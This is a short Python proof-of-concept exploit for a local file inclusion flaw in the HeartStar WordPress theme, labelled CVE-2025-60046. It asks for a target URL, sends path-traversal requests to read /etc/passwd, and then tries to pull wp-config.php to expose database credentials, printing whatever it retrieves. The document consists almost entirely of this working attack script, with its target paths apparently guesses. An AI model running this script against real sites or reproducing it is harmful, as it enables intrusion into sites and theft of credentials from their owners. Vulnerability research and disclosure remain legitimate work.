CVE-2025-60046

# CVE-2025-60046 PoC - HeartStar Theme Local File Inclusion # Target: WordPress site with HeartStar theme <= 1.0.14 import requests import sys target = input("Enter target URL (e.g., http://target.com): ").strip() # Vulnerable endpoint example (theme-specific file include) vulnerable_paths = [ "/wp-content/themes/heartstar/functions.php?load=/etc/passwd", "/wp-content/themes/heartstar/inc/template-tags.php?file=/etc/passwd", "/wp-content/themes/heartstar/template-parts/footer.php?page=../../../../etc/passwd" ] print(f"[*] Testing CVE-2025-60046 on {target}") for path in vulnerable_paths: url = target + path try: response = requests.get(url, timeout=10) if "root:" in response.text or "bin:" in response.text: print(f"[+] VULNERABLE! Found LFI at: {url}") print(f"[+] File content preview:\n{response.text[:500]}") elif response.status_code == 200 and len(response.text) > 0: print(f"[*] Possible LFI at: {url}") except requests.RequestException as e: print(f"[-] Error testing {url}: {e}") # Read wp-config.php to get database credentials print("\n[*] Attempting to read wp-config.php...") wpconfig_path = "/wp-content/themes/heartstar/functions.php?load=../../../../wp-config.php" url = target + wpconfig_path try: response = requests.get(url, timeout=10) if "DB_NAME" in response.text: print(f"[+] Successfully read wp-config.php!") print(f"[+] Content:\n{response.text[:1000]}") except: print("[-] Failed to read wp-config.php")

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